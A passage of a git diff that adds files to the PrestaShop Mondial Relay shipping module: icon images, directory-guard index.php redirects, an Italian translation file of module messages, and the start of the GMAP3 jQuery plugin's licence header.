b/modules/mondialrelay/images/error2.png new file mode 100755 index 0000000..5d52e2f Binary files /dev/null and b/modules/mondialrelay/images/error2.png differ diff --git a/modules/mondialrelay/images/getTickets.gif b/modules/mondialrelay/images/getTickets.gif new file mode 100755 index 0000000..b4c8c37 Binary files /dev/null and b/modules/mondialrelay/images/getTickets.gif differ diff --git a/modules/mondialrelay/images/googlemapIcon.png b/modules/mondialrelay/images/googlemapIcon.png new file mode 100755 index 0000000..f7a3465 Binary files /dev/null and b/modules/mondialrelay/images/googlemapIcon.png differ diff --git a/modules/mondialrelay/images/help.png b/modules/mondialrelay/images/help.png new file mode 100755 index 0000000..04d4851 Binary files /dev/null and b/modules/mondialrelay/images/help.png differ diff --git a/modules/mondialrelay/images/icones/account_detail.png b/modules/mondialrelay/images/icones/account_detail.png new file mode 100755 index 0000000..f939bbd Binary files /dev/null and b/modules/mondialrelay/images/icones/account_detail.png differ diff --git a/modules/mondialrelay/images/icones/info.png b/modules/mondialrelay/images/icones/info.png new file mode 100755 index 0000000..ea00799 Binary files /dev/null and b/modules/mondialrelay/images/icones/info.png differ diff --git a/modules/mondialrelay/images/icones/settings.png b/modules/mondialrelay/images/icones/settings.png new file mode 100755 index 0000000..81160c9 Binary files /dev/null and b/modules/mondialrelay/images/icones/settings.png differ diff --git a/modules/mondialrelay/images/icones/supplier.png b/modules/mondialrelay/images/icones/supplier.png new file mode 100755 index 0000000..8f2f4d1 Binary files /dev/null and b/modules/mondialrelay/images/icones/supplier.png differ diff --git a/modules/mondialrelay/images/index.php b/modules/mondialrelay/images/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/modules/mondialrelay/images/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/mondialrelay/images/loader.gif b/modules/mondialrelay/images/loader.gif new file mode 100755 index 0000000..afc385a Binary files /dev/null and b/modules/mondialrelay/images/loader.gif differ diff --git a/modules/mondialrelay/images/logo.gif b/modules/mondialrelay/images/logo.gif new file mode 100755 index 0000000..06f8471 Binary files /dev/null and b/modules/mondialrelay/images/logo.gif differ diff --git a/modules/mondialrelay/images/logo_hd.png b/modules/mondialrelay/images/logo_hd.png new file mode 100755 index 0000000..41ecfe7 Binary files /dev/null and b/modules/mondialrelay/images/logo_hd.png differ diff --git a/modules/mondialrelay/images/pdf_icon.jpg b/modules/mondialrelay/images/pdf_icon.jpg new file mode 100755 index 0000000..81712ce Binary files /dev/null and b/modules/mondialrelay/images/pdf_icon.jpg differ diff --git a/modules/mondialrelay/images/selectRelayPoint.png b/modules/mondialrelay/images/selectRelayPoint.png new file mode 100755 index 0000000..b6462f0 Binary files /dev/null and b/modules/mondialrelay/images/selectRelayPoint.png differ diff --git a/modules/mondialrelay/index.php b/modules/mondialrelay/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/modules/mondialrelay/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/mondialrelay/it.php b/modules/mondialrelay/it.php new file mode 100755 index 0000000..1bb7e6a --- /dev/null +++ b/modules/mondialrelay/it.php @@ -0,0 +1,188 @@ +adminmondialrelay_e82faee1422140edd04b2f94c5051500'] = 'Azione avvenuta con successo'; +$_MODULE['<{mondialrelay}prestashop>adminmondialrelay_3b2d373418745276ae6e207421245cdc'] = 'Stato ordine aggiornato'; +$_MODULE['<{mondialrelay}prestashop>adminmondialrelay_b4ac3d3f15bc0984d0906aff1202e701'] = 'Non posso aggiornare l\'account negozio'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_44585fcd617dce6416d8283b026714c1'] = 'Mondial Relay'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_ed4a3b96dc1f38c160775cac1f7bcd6d'] = 'Consegna nei punti Relay'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_d2286c9c8c8f92cb0e805b17834591b0'] = 'Insegna non valida'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_709b076565df5fa98cdb2528d897633d'] = 'Codice marchio non valido'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_c86508f5bc6b4456e7003d6a1868689d'] = 'Chiave webservice non valida'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_ea9261a3dad976b40ff2088a19fda2c3'] = 'Lingua non valida'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_4eb287cc225ba0e1bcfe9cc1b8315def'] = 'Coefficiente di peso non valido'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_70ff82d47f295f730c6accf07a2948e8'] = 'Nome del corriere non valido'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_e1f1787db2fee596f4c3bfaf1d098f8d'] = 'Col mode non valido'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_9414b7de379a09941e894d28f19949ae'] = 'Modalità di consegna non valida'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_5eeb9ca7eee4be7192dd10d917f79a12'] = 'Modalità di garanzia non valida'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_8b446ac2013dc7085802de71cc342ead'] = 'È necessario scegliere almeno un paese di consegna'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_979c6094728c14aac1b66d544dc5cebd'] = 'Stato dell\'ordine non valido'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_e82faee1422140edd04b2f94c5051500'] = 'Azione avvenuta con successo'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_672facd73d4aee44c116cfd95298db87'] = 'Dettaggli account aggiornati con successo'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_b4ac3d3f15bc0984d0906aff1202e701'] = 'Non posso aggiornare l\'account negozio'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_ea50be3d60be594e10e9e3560cb9159f'] = 'Metodo di spedizione aggiunto'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_d0cfdfcfb71029b561f5ebdc176d87ca'] = 'Stato ordine cambiato con succsso'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_7534411af2e35bed1f79df5938f077f9'] = 'Spedizioniere trovato (disabilitato dal database di prestashop)'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_2673bca5ba0a7871770e69c962e6ce38'] = 'Numero spedizione:'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_0dbe844fb964d5eca2f51be724e43294'] = 'Etichetta URL'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_c6aefd5e2191e1210a2f50416812b517'] = 'URL di tracking'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_61e70b58e38fd01daa254f44c4fa264b'] = 'Numero punto relay:'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_aa625fced6f01ae595b6a9ac499c2ecf'] = 'Range di peso non può essere aggiunto'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_63d15383121b5bb5c53323f3f96bd1f2'] = 'Range di prezzo non può essere aggiunto'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_d4d197dd028e28ae56208971b564921a'] = 'Zona di default non può essere aggiunta'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_760ac6deb1c5b84321f65ba0c7f319f5'] = 'Zona dello spedizioniere e di destinazione non può essere aggiunta'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_8bf569ff65b32464e623ca9e9a10688d'] = 'Spedizioniere non può essere creato in PrestaShop'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_6ed26bdf3f9141ddca4ede91f943e567'] = 'Metodo di spedizione non può essere aggiunto per il modulo'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_af135815ccf731bcbffb522004762b57'] = 'Spedizioniere non può essere cancellato'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_bba366864d25056c941b72f18ef79e7c'] = 'Questo errore non è contemplata:'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_a1c3470a944b9625cfb924fd15c8bdbf'] = 'Si prega di selezionare almeno un ordine'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_dc41aac14af17f1d19fca5e3b9439e74'] = 'Questo tasto'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_306b346c19017609403424203ea3d720'] = 'è vuoto e deve essere riempito'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_e6940b76f045c8bc0aaaa5b2476cdaf7'] = 'Sembra che la richiesta non è valida:'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_c9b4de92f371ae545ad6f051c07d58ca'] = 'C\'è un numero di errore:'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_ea5f761be4e4888eabf4e1501d7817d1'] = 'Dettagli:'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_eabb11bf9623f08409a0a4c9d035a336'] = 'Spedizione Numero:'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_b92c3d3319314513c547675924ceecd1'] = 'Biglietto URL:'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_66b793b6b4125e300717e8cf7449f533'] = 'URL di tracciamento:'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_2653c23b8c0daac59571e4be5e8fa7d0'] = 'Il webservice Mondial Relay non è attualmente affidabile'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_26b6b6eaec970108c5e84286159fbf48'] = 'Si prega di controllare la configurazione del linguaggio'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_557595c2e17c9948a9448eb763ac1a88'] = 'Si prega di controllare la configurazione del nome del negozio'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_017ca6b770ad53669a4eec82894dfcd3'] = 'Verifica il tuo indirizzo 1 configurazione'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_3f79e1fc66b4f9cca7bd68cab176020d'] = 'Si prega di controllare la configurazione della città'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_404665d9b65239985d59b30b3dcb26b5'] = 'Si prega di controllare la configurazione del codice postale'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_74cb73eddbe6eaf556023f943fc7e1fd'] = 'Sembra che il formato del tuo CAP non sia stato configurato o non configurato correttamente'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_0b8a30478b9572b86718989d483fd88d'] = 'Si prega di controllare la configurazione del paese'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_7ddf2d94bf037b7d1088c0600ea589c3'] = 'Si prega di controllare la configurazione del telefono'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_9c7ce7be9a2c593b24d448edb4f804e0'] = 'Controlla la tua configurazione della posta'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_85e6a18230d49abf8cfe912809185258'] = 'Una versione precedente alla 1.4 di PrestaShop non può validare il CAP'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_14288d48d107056c1acf8aaae1bf282b'] = 'Indirizzo di un cliente non può essere trovato'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_dc41aac14af17f1d19fca5e3b9439e74'] = 'Questo tasto'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_135a7b9a62531e066a95093d8951b344'] = 'non ha un formato Valide valore'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_e6940b76f045c8bc0aaaa5b2476cdaf7'] = 'Sembra che la richiesta non è valida:'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_c9b4de92f371ae545ad6f051c07d58ca'] = 'C\'è un numero di errore:'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_ea5f761be4e4888eabf4e1501d7817d1'] = 'Dettagli:'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_4e274658c9e97c2a336dde79dd0a7772'] = 'MondialRelay non riesce a trovare alcun punto di relè vicino al vostro indirizzo. Forse il vostro indirizzo non è riempita?'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_2653c23b8c0daac59571e4be5e8fa7d0'] = 'Il webservice Mondial Relay non è attualmente affidabile'; +$_MODULE['<{mondialrelay}prestashop>mrgettickets_dc41aac14af17f1d19fca5e3b9439e74'] = 'Questo tasto'; +$_MODULE['<{mondialrelay}prestashop>mrgettickets_135a7b9a62531e066a95093d8951b344'] = 'non ha un formato Valide valore'; +$_MODULE['<{mondialrelay}prestashop>mrgettickets_e6940b76f045c8bc0aaaa5b2476cdaf7'] = 'Sembra che la richiesta non è valida:'; +$_MODULE['<{mondialrelay}prestashop>mrgettickets_c9b4de92f371ae545ad6f051c07d58ca'] = 'C\'è un numero di errore:'; +$_MODULE['<{mondialrelay}prestashop>mrgettickets_ea5f761be4e4888eabf4e1501d7817d1'] = 'Dettagli:'; +$_MODULE['<{mondialrelay}prestashop>mrgettickets_2653c23b8c0daac59571e4be5e8fa7d0'] = 'Il webservice Mondial Relay non è attualmente affidabile'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_38b4abe2f5860f034e315f2da648a3d6'] = 'Disinstallazione Mondial Relay'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_a4691c957e81a6f0b6f0ed44f8f2dfe8'] = 'Sei tentativo di disinstallare il modulo, vuoi rimuovere il database'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_09c081633d484a62a2f6940c12a0de36'] = 'Keep it e disinstallare'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_0b7f47fce1d82d53244771c64b1535c0'] = 'Rimuovere e disinstallare'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_ea4788705e6873b424c65e91c2846b19'] = 'Annullare'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_a42bb0eaa485682166770a54469385f6'] = 'Alcune voci non possono essere rimossi, prova a rimuoverlo di nuovo'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_11744bfebb33e52be37a66a530b7045d'] = 'Si prega di selezionare almeno un elemento di storia'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_14288d48d107056c1acf8aaae1bf282b'] = 'Indirizzo di un cliente non può essere trovato'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_dc41aac14af17f1d19fca5e3b9439e74'] = 'Questo tasto'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_306b346c19017609403424203ea3d720'] = 'è vuoto e deve essere riempito'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_e6940b76f045c8bc0aaaa5b2476cdaf7'] = 'Sembra che la richiesta non è valida:'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_c9b4de92f371ae545ad6f051c07d58ca'] = 'C\'è un numero di errore:'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_ea5f761be4e4888eabf4e1501d7817d1'] = 'Dettagli:'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_6f8522e0610541f1ef215a22ffa66ff6'] = 'Lunedi'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_5792315f09a5d54fb7e3d066672b507f'] = 'Martedì'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_796c163589f295373e171842f37265d5'] = 'Mercoledì'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_78ae6f0cd191d25147e252dc54768238'] = 'Giovedi'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_c33b138a163847cdb6caeeb7c9a126b4'] = 'Venerdì'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_8b7051187b9191cdcdae6ed5a10e5adc'] = 'Sabato'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_9d1a0949c39e66a0cd65240bc0ac9177'] = 'Domenica'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_2653c23b8c0daac59571e4be5e8fa7d0'] = 'Il webservice Mondial Relay non è attualmente affidabile'; +$_MODULE['<{mondialrelay}prestashop>checkout_process_836f6c949a2f2d61489bf410def82111'] = 'Mondial Relay non può trovare dei punti relay a causa di un errore di PrestaShop'; +$_MODULE['<{mondialrelay}prestashop>configuration_0f27e5e9020f28e3f31b78376e11d4c7'] = 'Configurazione Mondial Relay'; +$_MODULE['<{mondialrelay}prestashop>configuration_8bc212f48680748479bbd322d4d73d3f'] = 'Dettagli account'; +$_MODULE['<{mondialrelay}prestashop>configuration_ea9cf7e47ff33b2be14e6dd07cbcefc6'] = 'Spedizione'; +$_MODULE['<{mondialrelay}prestashop>configuration_fe4c6a5e7bd6793b37370e4e46daf998'] = 'Settaggi avanzati'; +$_MODULE['<{mondialrelay}prestashop>configuration_326e057f57e830834c20d668e44627ef'] = 'informazioni'; +$_MODULE['<{mondialrelay}prestashop>configuration_29141d2b5a484e8032ef64339733f0dc'] = 'Per favore inserisci i tuoi settaggi account di Modial Relay'; +$_MODULE['<{mondialrelay}prestashop>configuration_5a2355a42ba3ab265701183c914467f2'] = 'Cerca di spegnere la cache e forza la compilazione su sì'; +$_MODULE['<{mondialrelay}prestashop>configuration_3de769f9a81eed916583d5b35c58dbdd'] = 'Se hai problemi con questo modulo dopo un aggiornamento'; +$_MODULE['<{mondialrelay}prestashop>configuration_8f8b21bd013b38d1e3059557c22a57e7'] = 'Guarda il seguente HOW TO per aiutarti a configurare il modulo Mondial Relay'; +$_MODULE['<{mondialrelay}prestashop>configuration_d21a9f93917604d5490ad529a7cf1ff9'] = 'Per creare uno spedizioniere Modial Relay'; +$_MODULE['<{mondialrelay}prestashop>configuration_c6a2e6af5fff47adb3afd780b97d9b4b'] = 'Inserisci e salva i tuoi settaggi account Mondial Relay'; +$_MODULE['<{mondialrelay}prestashop>configuration_b29c4694f835ad29b9893cd3fed36fbc'] = 'Crea uno Spedizioniere usanto il bottone Spedizioni'; +$_MODULE['<{mondialrelay}prestashop>configuration_b962d8fb95f5a439f50502152f3bad71'] = 'Definisci un prezzo per il tuo corriere'; +$_MODULE['<{mondialrelay}prestashop>configuration_faf1247ae6846a9955a466d4f301bbe4'] = 'La pagina del corriere'; +$_MODULE['<{mondialrelay}prestashop>configuration_10d78806b84b97ebc774e9f6277af6ac'] = 'Per generare le etichette, devi aver registrato un indirizzo valido nel tuo negozio nella tua'; +$_MODULE['<{mondialrelay}prestashop>configuration_af5efea250326c1c34d69aa9364b482c'] = 'pagina contatti'; +$_MODULE['<{mondialrelay}prestashop>configuration_1ba3935c9858ffb8e19a35ca640b8505'] = 'Settaggi account Mondial Relay'; +$_MODULE['<{mondialrelay}prestashop>configuration_a125105400f6e4ee4574da3793af5ef2'] = 'Questi parametri ti sono stati forniti da Mondial Relay una volta iscritto al servizio'; +$_MODULE['<{mondialrelay}prestashop>configuration_12a3fbd35c1cab4b1101b91d708efd15'] = 'Insegna WebService:'; +$_MODULE['<{mondialrelay}prestashop>configuration_6f0434b67007b555dfd1201f4e0d5254'] = 'Codice marca:'; +$_MODULE['<{mondialrelay}prestashop>configuration_08f785193c96b2a78dec8d76a46648d6'] = 'Chiave WebService'; +$_MODULE['<{mondialrelay}prestashop>configuration_a26329cba9723551cb8654deba32872b'] = 'Coefficiente di peso'; +$_MODULE['<{mondialrelay}prestashop>configuration_99244b234ec089eca40ff9e8ec343e87'] = 'Grammi = 1'; +$_MODULE['<{mondialrelay}prestashop>configuration_61cbc2d26b4157292673c772ddd6c0f7'] = 'Aggiorna le impostazioni'; +$_MODULE['<{mondialrelay}prestashop>configuration_70397c4b252a5168c5ec003931cea215'] = 'Campi richiesti'; +$_MODULE['<{mondialrelay}prestashop>configuration_9ffc3ccc968a96d902af963c6d7b4e97'] = 'Settaggi avanzati'; +$_MODULE['<{mondialrelay}prestashop>configuration_fcf5b2122da1d5a5f5c7253b96a3f9d9'] = 'URL Cron Task:'; +$_MODULE['<{mondialrelay}prestashop>configuration_66661dacf33146201b60dc16520ddd68'] = 'Aggiunti un metodo di spedizione'; +$_MODULE['<{mondialrelay}prestashop>configuration_531e144cc23ef08408b81cb4d9c641dc'] = 'Nome corriere'; +$_MODULE['<{mondialrelay}prestashop>configuration_8f497c1a3d15af9e0c215019f26b887d'] = 'Ritardo'; +$_MODULE['<{mondialrelay}prestashop>configuration_201bdb87f8e278b943d07ae924d5de6e'] = 'Modalità di consegna'; +$_MODULE['<{mondialrelay}prestashop>configuration_142ef02888af88b8b772335277d1c0c8'] = 'Consegna ad un punto Relay'; +$_MODULE['<{mondialrelay}prestashop>configuration_eeab8b7cf3c7a558a0e8a4050fa994ca'] = 'Consegna dal corriere'; +$_MODULE['<{mondialrelay}prestashop>configuration_8f7794b107749728c3333ef38d2687e8'] = 'Consegna a piano terra (1 persona)'; +$_MODULE['<{mondialrelay}prestashop>configuration_e451efc8ce05b96b214b4c2935f2c657'] = 'Consegna a casa (2 persone)'; +$_MODULE['<{mondialrelay}prestashop>configuration_eaff1bdf24fcffe0e14e29a1bff51a12'] = 'Assicurazione'; +$_MODULE['<{mondialrelay}prestashop>configuration_96ba408f20bc3e065f400c650d32fd1a'] = 'No assicurazione'; +$_MODULE['<{mondialrelay}prestashop>configuration_e5a8fafb1dfb538c172e1e014e86b871'] = 'Complementary Insurance Lv1'; +$_MODULE['<{mondialrelay}prestashop>configuration_b02f8d6d4b6217cca317161c87f64065'] = 'Complementary Insurance Lv2'; +$_MODULE['<{mondialrelay}prestashop>configuration_90b95ae88150c6a34c4129dc4f1ebbd5'] = 'Complementary Insurance Lv3'; +$_MODULE['<{mondialrelay}prestashop>configuration_c15b40b8c535191f6f0b6f9beaced3cf'] = 'Complementary Insurance Lv4'; +$_MODULE['<{mondialrelay}prestashop>configuration_b67a442fff3ca0a03ea253b0668f946d'] = 'Complementary Insurance Lv5'; +$_MODULE['<{mondialrelay}prestashop>configuration_33cbd0d8b6476501f55a8320481ec0f1'] = 'Nazioni di consegna:'; +$_MODULE['<{mondialrelay}prestashop>configuration_aef71ba4fd060dea2e2c76d1b5076caf'] = 'Tu puoi scegliere diverse nazioni premendo CTRL'; +$_MODULE['<{mondialrelay}prestashop>configuration_0309a6c666a7a803fdb9db95de71cf01'] = 'Francia'; +$_MODULE['<{mondialrelay}prestashop>configuration_6c1674d14bf5f95742f572cddb0641a7'] = 'Beglio'; +$_MODULE['<{mondialrelay}prestashop>configuration_06630c890abadde9228ea818ce52b621'] = 'Lussemburgo'; +$_MODULE['<{mondialrelay}prestashop>configuration_907eba32d950bfab68227fd7ea22999b'] = 'Spagna'; +$_MODULE['<{mondialrelay}prestashop>configuration_0c24ec05a02c710cedd400e3680d8b81'] = 'Lista metodi di spedizione'; +$_MODULE['<{mondialrelay}prestashop>configuration_14039af96b01e718a9c9d9c1259b6472'] = 'Nessun metodo di spedizione creato'; +$_MODULE['<{mondialrelay}prestashop>configuration_daf999e234b6f358dda641bf381b685a'] = 'Configura spedizioni'; +$_MODULE['<{mondialrelay}prestashop>header_e0626222614bdee31951d84c64e5e9ff'] = 'Seleziona'; +$_MODULE['<{mondialrelay}prestashop>header_91b442d385b54e1418d81adc34871053'] = 'Selezionato'; +$_MODULE['<{mondialrelay}prestashop>header_ef2a1f426c2c289ed5986c7636a5d696'] = 'Scegli un punto Reley'; +$_MODULE['<{mondialrelay}prestashop>header_80a0c205cd57b22fca7f174253870300'] = 'Apertura ore'; +$_MODULE['<{mondialrelay}prestashop>header_2b56b60f878922093facd42284848a0c'] = 'Altri dettagli'; +$_MODULE['<{mondialrelay}prestashop>order_detail_81b7b4587a2a3ea7a0d6bb1df3fbba54'] = 'Spedire a'; +$_MODULE['<{mondialrelay}prestashop>order_detail_c2d05abc7f5ebdc72b6656df35038b43'] = 'Segui il mio pacco sul sito Mondial Relay'; +$_MODULE['<{mondialrelay}prestashop>post_action_466ec9f29b485204ef53818459da48af'] = 'errore(i)'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_8d63728960e021f7632a11922685705e'] = 'Grazie per correggere gli errori su'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_264f456c4202f0aba86e481a246a3ef1'] = 'la pagina contatti:'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_de21dc13e1ea638777fbfad49f88b332'] = 'Tutti gli ordini che hanno uno stato'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_378116486b5a90bb50fd4f1557698d96'] = 'sarà disponibile per la creazione di una etichetta'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_5dadbd0ec9f0b182be4ead8dad39da79'] = 'Lista ordini'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_d79cf3f429596f77db95c65074663a54'] = 'ID ordine'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_ce26601dac0dea138b7295f02b7620a7'] = 'Cliente'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_0eede552438475bdfe820c13f24c9399'] = 'Totale prezzo'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_c28e0582276cb6747e37d948e1727929'] = 'Totale spedizione'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_44749712dbec183e983dcd78a7736c41'] = 'Data'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_52150799c57e873360cca13c080a91b4'] = 'Inserisci un peso (gr)'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_6ccc0fdff9995e1a0fce00c99e5b6085'] = 'MR numero'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_f9c50cba4de9032d7a6797a2458f8ed9'] = 'MR Nazione'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_428c091372d840900cf8536519fa0056'] = 'EXP Numero'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_a254c25adc7d10d7e9c4889484f875a5'] = 'Dettagli'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_4351cfebe4b61d8aa5efa1d020710005'] = 'Vedi'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_2e01172e31495f41fcebcf3f831cc82c'] = 'Operazione completata con successo'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_37c85a61df6352af7285c307022c4413'] = 'Nessun ordine con questo stato'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_32b919d18cfaca89383f6000dcc9c031'] = 'Generare'; +$_MODULE['<{mondialrelay}prestashop>history_4f1a377c20ace646ddd303ad1e1d243d'] = 'Storico delle etichette create'; +$_MODULE['<{mondialrelay}prestashop>history_d79cf3f429596f77db95c65074663a54'] = 'ID ordine'; +$_MODULE['<{mondialrelay}prestashop>history_e1a98101d56e29eeea312a0eb2748a92'] = 'Exp num'; +$_MODULE['<{mondialrelay}prestashop>history_aab39f783ba2e72eaad1770f4d9ad0c4'] = 'Stampa etichetta A4'; +$_MODULE['<{mondialrelay}prestashop>history_3eb2bc1ee46258d2a166e89398756b3e'] = 'Stampa etichetta A5'; +$_MODULE['<{mondialrelay}prestashop>history_9e50665937cbb2f3c833d3626a9f9abb'] = 'Nessun storico disponibile'; +$_MODULE['<{mondialrelay}prestashop>history_fa98e6528c9df7f26978c2beb7de3d99'] = 'Cancella storico selezionato'; +$_MODULE['<{mondialrelay}prestashop>settings_0a4ee7474864081af12dba847fafdaa6'] = 'Settaggi tab Admin'; +$_MODULE['<{mondialrelay}prestashop>settings_ca57625685f058f54d82c6e05876a131'] = 'Scegli uno stato ordine per le etichette'; +$_MODULE['<{mondialrelay}prestashop>settings_c9cc8cce247e49bae79f15173ce97354'] = 'Salva'; +$_MODULE['<{mondialrelay}prestashop>settings_f4f70727dc34561dfde1a3c529b6205c'] = 'Impostazioni'; +$_MODULE['<{mondialrelay}prestashop>install-1.8.0_212446275f2cee81b55a18a3106c6d59'] = 'Non posso creare un tabella metodi'; +$_MODULE['<{mondialrelay}prestashop>install-1.8.0_c3f1bb9f4e93ec07fc892f1781ddb66b'] = 'Non posso cambiare nome alla tabella metodi'; +$_MODULE['<{mondialrelay}prestashop>install-1.8.0_e2aa3260446c53906857d068b0b940b5'] = 'Non posso rinominare la tabella storico'; +$_MODULE['<{mondialrelay}prestashop>install-1.8.0_3ac9c6d6990ac32120d0c767a02ff961'] = 'Non posso aggiornare la tabella mr_method_shop'; +$_MODULE['<{mondialrelay}prestashop>install-1.8.3_59b7c6d35d8f9547e5d72b93b843645f'] = 'Non posso aggiungere un nuovo campo nella methodtable'; diff --git a/modules/mondialrelay/js/gmap.js b/modules/mondialrelay/js/gmap.js new file mode 100755 index 0000000..0f42eb6 --- /dev/null +++ b/modules/mondialrelay/js/gmap.js @@ -0,0 +1,2225 @@ +/* + * GMAP3 Plugin for JQuery + * Version : 4.1 + * Date : 2011-11-18 + * Licence : GPL v3 : http://www.gnu.org/licenses/gpl.html + * Author : DEMONTE Jean-Baptiste + * Contact : jbdemonte@gmail.com + * Web site : http://gmap3.net + * + * Copyright (c) 2010-2011 Jean-Baptiste DEMONTE + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * - Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * - Redistributions in binary form must reproduce the above + * copyright notice, this list of conditions and the following + * 